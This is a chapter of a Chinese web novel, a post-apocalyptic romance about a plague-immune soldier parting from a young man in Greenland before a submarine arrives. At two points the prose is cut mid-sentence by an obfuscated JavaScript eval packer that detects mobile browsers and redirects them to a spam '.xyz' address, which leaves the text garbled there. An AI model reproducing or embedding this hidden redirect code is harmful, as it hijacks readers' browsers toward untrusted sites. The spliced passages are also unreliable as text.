基地内部没有太阳,没有新鲜的空气,也没有自由,所有居民都由人类文明存续组织集中管理,只能维护居民最低限度的日常生活需求。至于末世前的什么旅游,散步,踏青,逛街等等娱乐活动,便只能存在在人们的记忆里了。 而一旦有病毒进入基地内,基地里的居民们就如同瓮中之鳖,只用几个小时就会爆发瘟疫。 魏长川在黑暗中睁开眼,看向怀里的青年。 闵疏这几天被他抱惯了,白皙的面庞很顺从地靠在他的颈侧。青年的身体很轻,也很软,像是只过于瘦弱的猫,趴在他胸口一点重量也没有。 魏长川看着他,半晌后抬起手,轻轻捋过青年额角的一缕乱发: “所以我不能带你走。” 他低声道。 闵疏闻言一愣,抬头看向魏长川,对上了男人沉黑的双眸。他说出不出魏长川脸上有什么神色,男人的眉宇间似乎有些什么情绪,又似乎什么都没有: “到基地的路上会穿过一系列感染区,就算在潜艇内部也不一定绝对安全。” 他看着闵疏,平静道:“等到了西伯利亚,幸存者需要隔离三个月,才能进入基地,期间也不能保证绝对安全。” 在人类基地建立伊始,上亿的幸存者从世界各地的感染区向基地移动,可谓现代最大规模的人类迁徙,然而最后能抵达基地的人十不存一。魏长川是救援的亲历者,有时上一秒才经过感染检测的幸存者,24小时内就能突发症状暴毙,由此一车一船的幸存者遭到感染。很可能在救援的时候是一车活人,到半路就是一堆尸体了。到基地的转移就是一场赌博,在没有任何有效防护手段和特效药的大瘟疫中,每个人能依靠的只有自己的免疫系统,还有就是幸运女神的垂青。 他深知人类在病毒面前的脆弱,因此更不敢拿闵疏的性命冒险。 青年如此弱小,或许不需要病毒,光是闷热黑暗的潜艇内部就能让闵疏生病,样的脆弱的人类在病毒眼里无疑是最好的温床。 格陵兰岛是目前唯一一个有效拦截了病毒入侵的孤岛,闵疏所在的小镇更是方圆十几公里都没有人烟,从某种程度上来说,这个地方比基地更加安全。 这些,魏长川并没有说出来,然而闵疏却懂了。 他看着魏长川的眼睛,忽然意识到这个人是全然为他考虑。 而且在之前他还不知道末世的真相,多次请求魏长川带他回国时,男人就已经在为他考虑了,所以才数次拒绝了他想离岛的请求。 如果魏长川只是一个普通的朋友,他此时心中应该只有感激,然而不知是否是人在夜晚会变得感性,此时他心中酸软,有许多话想说,却又说不出口。 闵疏看着魏长川,最终只是轻轻笑了笑,道:“哥,我明白的。” 魏长川看到他的笑容,隐没在黑暗中的眉眼微微一动。 卧室里很黑,闵疏看不清他的神色,然而魏长川靠着变异后强大的夜视力,却能清晰地看见青年略带伤感的笑容。 魏长川默然无言。 在黑暗中,他沉默地看着青年,喉结动了动,却终究是什么都没说,只是伸手按着青年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15054636|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后脑,让他靠进自己的怀里:“睡吧。” 闵疏什么都看不见,因而错过了魏长川神情中片刻的挣扎。 他虽然有些伤感,可也庆幸两人终于说开了,于是心满意足地靠了过去,在男人怀中找了个舒服的姿势,极其信赖地闭上了眼睛。 魏长川圈着他,手掌一下一下抚过他后脑的发丝,动作非常轻柔。 然而月光透过窗户,洒在他的手背上,却照出了一道道突起的青筋。 · 接下来的几天都是大晴天,太阳在近午时的时候升起,在下午便落下。灿烂的阳光照耀在冰原上,冰晶闪闪发光,是这座极地小岛在进入孤寂的永夜前散发的最后余热。 趁着天气好,闵疏开始为进入极夜做起了准备。 乘着还有点儿日光,他去了谷仓一趟,将新下的鸡蛋都取了回来,结果一回来,就发现魏长川不知什么时候拉着一张巨大的渔网从远处走来。网里是活蹦乱跳的鱼,个头都很肥美,尾巴有力地拍在冰面上,噼里啪啦得隔着好几米都能听见。 “哥、这——” 闵疏震惊了:“你什么时候去捕的鱼啊??” 魏长川放下渔网:“刚刚,给你过冬吃。” 闵疏往地上一看,这网鱼保守估计有200条,别说这个冬天,他今年都够了。 接着,魏长川极其有效率地处理了所有鱼,将它们分别切成鱼块、鱼片、剖去内脏的整鱼,给闵疏储存在了冰窖里。 当晚,两人不出意外吃了顿全鱼宴。 闵疏用鱼片和昨天剩下的火锅底料做了水煮鱼,又用将整鱼和豆腐一起烧了,最后还用剩下的鱼骨和边角肉块儿熬了鱼汤。 魏长川吃他的饭吃久了,已经很习惯吃辣了,一口一片鲜辣的鱼肉,保持平稳的速度将那盆水煮肉消耗了一大半。 闵疏则是夹了一筷子面前的红烧鱼肉,海鱼肉质肥嫩,脂肪和营养含量很高,但是口感比起河鱼还是差了一点儿。闵疏尝了一口,嚼了嚼咽下后,道: “如果有新鲜的葱就好了。” 海鱼的口感较为粗糙,腥味也比较大,如果能加些新鲜的葱姜在口味上能好上不少。可惜随着镇民的离开,岛上的物资不流通,他的存货已经没多少了。 就在这时,魏长川说:“过段时间,会有人送来物资。” 闵疏一愣,抬起头,便见魏长川低着头将一片鱼肉夹进碗里:“到时候别出门,让他把东西扔在院子里。” 闵疏眨了眨眼睛:“会有人来?” 他惊奇道:“谁?” 魏长川看了他一眼,遂低下头:“北美基地的人。” 闵疏闻言恍然,确实,真论起来应该比起位于西伯利亚的远东基地,还是位于加国北部的基地离这里最近。 但好歹也隔着海峡呢,现在温度一天比一天低,附近的海域上都是浮冰。 “会不会很麻烦?” 闵疏有点担忧地问:“太麻烦的话就不用了,我这儿的东西还够吃。” 魏长川头都没抬,道:“不会。他欠我一个人情。” 闵疏闻言一愣,魏长川形容的方式仿佛他是以个人的名义拜托了什么人一样。他没再问,而是乖顺地点了点头,物资多一些总比少一些好,毕竟谁也不知道这个冬天会持续多久,夏天又什么时候才会来。 说完这个,两人便安静地吃起饭来,全鱼宴被魏长川扫荡一空。 闵疏看着很欣慰,毕竟这是魏长川在他这儿的最后一顿饭了,等到了潜艇上估计是没啥好吃的,还是趁着有吃的多吃点吧。 隔日清晨,他们出发去港口。 20.分别 格陵兰岛上没有公路,镇与镇之间只能坐船或者乘飞机。 闵疏所在的这个小镇没有机场,但有数个港口。离闵疏家最近的是个浅水港,深水港也不算远,不过那边礁石林立,狗拉雪橇过不去,只能步行前往。 吃过午饭后,两人出发。 魏长川原本是不想让他送的,但闵疏执意要去,他拗不过,深水湾也不算远,便只得同意。不过让闵疏带上了一只雪橇犬奇克,以便到时候将他领回家。 闵疏有些不服气:“哥是信不过我?那里我去过很多次了,不会找不回来的。” 魏长川道:“没有不信。” 他半蹲着,正往雪橇犬的脖子上套牵引绳。说罢抬眼与狗对视了一眼,阿拉斯加奇克很温顺地叫了一声,似是从他哪儿得到了什么命令。 站在一边的闵疏:…… 总觉得魏长川相信一条狗都比相信他多。 明明老是迷路的人是魏长川,上次在冰川,还是他把这个人找回来的呢。这句话闵疏只敢在心下腹诽,没说出来。 这时,魏长川转过头,递给他一个东西。闵疏低头一看,发现那是个小小的黑色装置,上面有一个按钮,不知是做什么的。 魏长川道:“你到了家,按一下上面的按钮,我会知道。” 闵疏点了点头,接着忽然想到了什么,抬头问:“哥,你走了之后,我有什么方法能联络到你吗?” 格陵兰岛上许多地方都没有信号,闵疏所在的这个小镇就没有。他的手机在许多年前就成了个没用的铁盒子,之前还能玩玩不用联网的小游戏,后来有一次闵疏把它掉到雪堆里,给彻底冻坏了。 不过就算是好的应该也没用,现在外头变成了那个样子,应该也没有电信运营商了。写信呢?估计也没有邮差。闵疏的心渐渐有些发沉,他逐渐意识到,一旦魏长川离开,他似乎没有什么手段能联系得上对方。 果然,魏长川沉默着没说话。 末世的通讯手段十分有限,基本上只有几个固定的通话设施能够通过卫星信号接入通讯。魏长川是世界上也少有的几个能够携带随身通讯设备的人,但就算是他手上的设备也只能接通潜艇上的固定设备,有些时候信号还很不好,基本只能保证最低限度的交流, 而他不能把设备留给闵疏,虽然他很想这么做。 然而闵疏已经从他的沉默里得知了一切,他没说什么,只是道:“没关系。” 他举起手中的小黑盒子,笑着魏长川咧开嘴笑:“那我没事的时候就多按按这个,哥就知道我一切都好啦。” 青年的声音欢快清亮,里面没有一点悲伤。 魏长川垂眼看着闵疏白皙的脸,眼睛弯弯的,唇角一点小梨涡。就是气色不太好,脸色白得几乎透明,嘴唇呈现出一种失血的淡粉。不健康的身体削减了这个年纪男孩子身上的应该有的血气方刚,闵疏的性格很温顺,非常友善,似乎无论什么时候都很懂事,不会叫人为难。 魏长川凝视他的笑容,半晌后转过头,顺手按了按青年的后颈:“走吧。” 下午一点,两人向深水港出发。 今天的天气很好,晴朗中带着点微风,冰原和雪壁伫立在阳光下,空气中都是冰雪干净的味道。 奇克跑在前面,此时天气好,也不用牵,就仍由它在冰原上撒欢儿。阿拉斯加犬背脊上红棕色的皮毛随着跑动蹦跳,远远看着似一朵火烧云。这种非黑白色的雪橇犬在极地很受欢迎,因为毛色不会和冰雪混淆在一起,比较容易辨认。 穿衣服也是同样的道理,闵疏本来穿了件白色绒毛的袍子,魏长川一定要他在外头套一件大红的冲锋衣,在雪原上非常显眼。 闵疏被包得跟个粽子似得,不算太轻便地在冰原上走着。阳光有些刺眼,他抬起手,将毛毡帽子抬高了些,在白花花的光芒下眯了眯眼睛。 就在这时,一只手伸过来,将他放在帽子上的手牵下来,稳稳握住。 熟悉的热度覆上来,闵疏弯起眼睛,抬头看向男人:“哥,今天没有雪。” 魏长川没回头,牵着他往前走:“路上滑。” 在茫茫雪原上,两人就这么牵着手,一前一后地走。 闵疏抬起眼,男人黑色的衣袍在风中翻滚,为他挡去了大部分凉风。四周的景色如诗如画,晴日照雪,远驰的海岸线上冰川浮动,几乎像是梦中才会如果忽略现在是末世,人类种族的濒危,和即将到来的分离,这几乎近似是一场约会了。 他抬眼看了看魏长川,又低下头,将手握紧了些,私自决定将这当成一场约会。 虽然魏长川还没真正说过喜欢他。 不过现在要说也晚了,闵疏决定忽略这些细枝末节,他一向是个很容易满足的人。换个角度想想,能在格陵兰风景这么优美的地方和大帅哥牵着手散步,换作之前就是个普通男大的他想谈还谈不到呢。 这么想着,闵疏开心了起来,盖过了分离带来的一点忧伤。 两人从中午走到下午,在太阳西斜之时,终于抵达了海湾。深水港旁没有沙滩,取而代之的是四处林立的黑色礁石,与远处海面上漂浮的大块浮冰交相呼应,是与沙滩完全不同的景色。 闵疏望着远处浮动的冰山,有些发愣,没注意到魏长川什么时候松开了他的手。 “想什么呢?” 低沉的男声响起,闵疏回过神,见魏长川站在一块礁石上,居高临下地看着他。 魏长川本身身量就高,这样略低着头,帽檐的阴影盖住了眉眼,就只剩下身形带来的强大压迫感。 闵疏一怔,心想就这样拍下来都能去电影里直接当反派了,同时又觉得很帅,这身军装就要这样的人穿起来才有感觉。 魏长川看着他,发现青年还在发愣,朝他勾了勾手:“过来。” 闵疏下意识地走进,下一瞬就被抓住手臂拉上了礁石。他没站稳,下意识地用手撑住魏长川的胸膛,往下看了一眼:“好高!” 魏长川撑住他:“看那边。” 闵疏随着他示意的方向望去,立即瞪大了眼睛:“哇” 远处正好能看见一处巨大的峡湾,千万年来冰川不断地向下侵蚀,形成陡峭的山壁,冰盖自陆地延升,沿着峭壁倾斜而下,与海面几乎形成直角。 在阳光的照射下冰壁四周透明,中心幽蓝,静静屹立在海面上,宛若一座横空出现的冰墙。 “真美,” 闵疏喃喃道。 两人静静地看了一会儿,闵疏被海风吹得微微眯起眼,低下头看了看魏长川横在他腰上的手臂,忽然想到了什么,偏过头道:“哥,我们这样是不是有点像在演《泰坦尼克号》?” 话一出口,隔了没一秒闵疏就惊觉自己说错了话。他自顾自地将今天当成约会,纯属自娱自乐,人家是怎么想的还不知道呢,用个爱情电影打比方不合适。 “哥,我——” 他有点惊慌,刚想说别当回事,就见魏长川回过头,看着他道:“是有点像。” 魏长川冲他笑了笑,转过身跳下礁石,稳稳地落在地上,随即转过身,朝礁石上的闵疏抬起手:“下来吧,我接着你。” 礁石上,闵疏微红了脸,他顿了片刻才伸出手,放在了魏长川的手心。 魏长川牵过他的手,一手掐着他的腰,将闵疏从礁石上抱下来。 抱下来后,也没有松手。闵疏低下头,看着两人交握的双手,心中升起些许暖意。 他不是傻子,自然感受得到他们之间浮动的丝缕暧昧。 虽然他们刚见面时,魏长川像是个很冷漠的人,但也许是因为可怜他的缘故,男人对他其实一直都挺温柔的。而今天的魏长川似乎更加柔和,虽然他什么都没说,但闵疏能从他的举动里感受到那些情感。 他们对彼此,也许都不仅是纯粹的友谊,但在这个时间这个地点,似乎又没有说破的必要。 闵疏抿了抿嘴唇,想到电影,就想到了自己刚才担心的事情,抬头对魏长川说: “哥,我刚刚就在想,海上浮冰这么多,潜艇能开过来吗?” 魏长川道:“浮冰不是问题。” 军用潜艇的体量,材质,和性能都与民用的载客船只不通。对于本身的设计就要防御鱼雷和各种炮弹的潜艇来说,小型的浮冰和冰山都不是问题,况且体量更小、架势更加灵活的潜艇也能够在发现任何障碍物的时候很快地躲避开。 闻言,闵疏放心了:“那就好。” 只要别像泰坦尼克号一样撞冰山沉了就行,闵疏想着赶紧摇了摇头,将立Flag一样的想法从自己脑中驱散出去。 这时,太阳已经西斜得很厉害了。灿烂的日光逐渐没入云层之中,亮得发白的光线逐渐变得暧昧,将天空染成了灿烂的橘红。 闵疏看了看手表,抬起头,叹道:“估计过不了两天极夜就要开始了。” 一旦堕入黑暗,这样不见天日的日子会一直持续到来年开春。 魏长川站在他身后,手放在他的腰上,没有说话。 闵疏仿佛知道他在想什么,转过头道:“哥,别担心,我都已经习惯了。” 闻言,魏长川垂眼看向他,依旧没有说话,只是伸出手,将青年额前的一缕发丝别向他耳后。 之后,他们两个默契地不再说话,就这么安静地靠在一起,静静看着天边的晚霞,仿佛在等待什么发生,又仿佛想要无限延长这宁静的一刻。 然而就如同晚霞一般,美好的时刻总是短暂的。 当天空由滚动燃烧的橙红霞光转为沉静的粉紫色时,一个尖锐的声音响起。 清脆的铃声打破了安静的空气,闵疏寻声低头,便见魏长川腰侧边正闪着红光, 魏长川将那个发信器拿下来,按下右上侧的按钮,尖锐的铃声和不断闪动的灯光一齐消失。 闵疏明白了什么,抬起眼:“是潜艇到了吗?” 魏长川看向他,点了点头。 就在这一刻,天边的最后一丝粉色消失,天空骤然变暗,散发着幽幽的蓝紫光芒笼罩冰原。 魏长川松开了他,微微拉开了两人的距离。 环绕着他的灼人热意退开,冷风随之灌入,闵疏骤然打了个抖。 明明四周的环境没变,但在这一刻闵疏却恍然有种从温暖的室内踏入冰天雪地的感觉,他抿了抿唇,没有在脸上露出丝毫痕迹,笑着抬起头: “那我们要说再见啦,哥。” 他看向魏长川,态度友善而积极地道: “这段时间谢谢哥的照顾,以后自己也要好好吃饭啊。” 他想了想,又补充道:“外头好像很危险,就算哥对病毒免疫,出任务的时候还是要小心,不要受伤了。” 闵疏说了这些,想了想,觉得没什么要说的了,便抬头看向魏长川。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15059230|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 魏长川站在背光的方向,身后是深紫色的天空。 在迅速暗淡的光线下,闵疏看不清他的眉眼,只能看见男人的清晰的下颌和颈侧线条。 他沉默着,紧绷的下颌微微一动,然而就在闵疏以为他要说什么时,魏长川却偏过了头:“……那我走了。” 闵疏点了点头:“嗯。“ 他向男人笑起来:“哥,一路顺风。” 魏长川的目光在他脸上最后停留了一瞬,遂转过了身,向海边走去。 闵疏望着他的背影,男人身材修长,背后黑色的披风在空中飞舞,跟那时他忽然出现在风暴之中时一模一样。 闵疏试图记住这一时刻,毕竟这很有可能是他与魏长川的最后一面。男人会回到基地,穿梭在世界各地出任务,而他则会呆在这个岛上,也许某一天会感染病毒,也或许会被突如其来的疾病击倒。而这短暂的相处虽然没什么结果,却是放在他的一生里都值得回味的记忆。 然而就在这时,他看见魏长川的身影一顿,接着忽然转过身朝他走了过来,没几步就回到了他的面前。 闵疏惊讶地抬起头:“哥,你怎么——” 他话还未来得及出口,就被魏长川抱住了身体。 那是个极其紧密的拥抱,魏长川有力的臂膀环绕住他的肩背,灼热的体温笼罩了他。 “……自己照顾好自己。” 男人低哑的声音在他耳边响起,他们靠得很近,闵疏几乎能感受到温热的唇擦过自己的耳廓,魏长川在他耳边道:“等合适的时候,我来接你。” 闵疏呼吸一滞,甚至没能在当即理解这句话的意思,然而魏长川已经放开了他,转身朝海边走去。 隔了好几秒,闵疏才猛地回过神,抬手摸了摸自己的耳朵。 来接他? 是还要回来的意思吗? 闵疏听到自己加速的心跳声,内心仿佛有什么东西被点燃了。然而这时他没有空闲细想自己的感受,闵疏垫起脚,望向海边,只见平静的海面中央不知什么时候出现了一个漩涡,并正在不断扩大。 四周的海水都仿佛被漩涡吸引了过去,水面的流速越来越快,数个小泡泡从海水内部浮上,闵疏看着都觉得有些紧张,不禁长大了嘴——这一定是辆很大的潜艇。 不远处,魏长川站在海边,制服被海风吹得猎猎作响。 他凝视着海面中央的漩涡,微微眯起了眼睛,忽然面色一变,猛地从岸边退开。 同时他还对正在等着看潜艇浮起来的闵疏喊道:“后退!” 闵疏被吓了一跳,下意识地遵从魏长川的话往后退了一步。然而就在这分秒之间,魏长川已经到了他面前,一把将他抱住。 闵疏猝不及防地被抱住,重心向后倾,同时目光越过他的肩膀,看到了海面上的东西—— 只见刚才不断下陷的漩涡之中竟然暴起了一只巨大的虎鲸! 它的黑白色头颅破出水面,因为距离太近,看起来简直有难以想象的巨大。不到半秒,它的身体便全部跃出了海面,身躯呈现出优美的弧线,接着重重地落入了海中。 “啪!” 随着巨大的声响,海面被激起巨大浪。虎鲸的身体没入了海中,但是巨大的尾部还露在外面,尾部朝下拍去,骤然将岸边的一片浮冰拍了个粉碎。 “哗啦!” 海水漫天而来,魏长川挡在闵疏前面,挡下了绝大部分的海水。 闵疏反射性地紧紧闭上眼睛,再睁开时,就见面前的魏长川浑身都湿透了,黑发湿漉漉地贴在额前。 “哥!” 闵疏吓了一大跳。 魏长川放开了他:“我没事。” 两人同时转过头,海水在巨大的冲击下还在一波一波地往上漫,而那只巨大的虎鲸已经不见踪影,只有悠长的鲸鸣在空中环绕。 “这、这到底是怎么回事?” 闵疏惊讶地都有些呆滞了:“为什么是鲸鱼?潜艇呢?” 魏长川显然也没想到会有这一茬——他现在浑身都被海水浇透,形容有些狼狈。他顿了顿,先是转头上下看了看闵疏,在确认他身上的衣服还是干的之后低下头,拿起发信器,又按了一下上面的按钮。 闵疏听到一阵电流的滋滋声,接着,里面传来有些沉闷的声音:“潜艇小队A8045,请说——诶!把舵稳住!” 发信器对面的声音一开始还很稳,后面忽然变得慌乱起来。闵疏微微睁大了眼睛,看见魏长川皱了皱眉,道: “你们在哪?” 发信器另一头再次发出滋滋的电流声,似乎信号不是很稳定,人声只是时不时地出现在其中: “老大……鲸鱼……试图靠港,请您稍等……“ 但是很快,传来的声音就变得惊慌起来: “等等!先不要碰那边……老箫呢?快叫他来!” “左满舵、先打满!诶别碰别碰……等一下……” “操!加满加满!暗流来了——” 潜艇内似乎处于很混乱的状态,很快,除开人声和各种嘈杂的声音之外,还有各种慌乱的脚步声和沉重的机械声。闵疏听着都觉得有些心惊肉跳。 没过多久,发信器似乎是终于不堪重负,在发出了两声巨大的滋滋声后彻底消音了。 两人间只剩下海浪不断拍击在岸边的声音,那只巨大的鲸鱼似乎是游到了远处,海面重归了平静。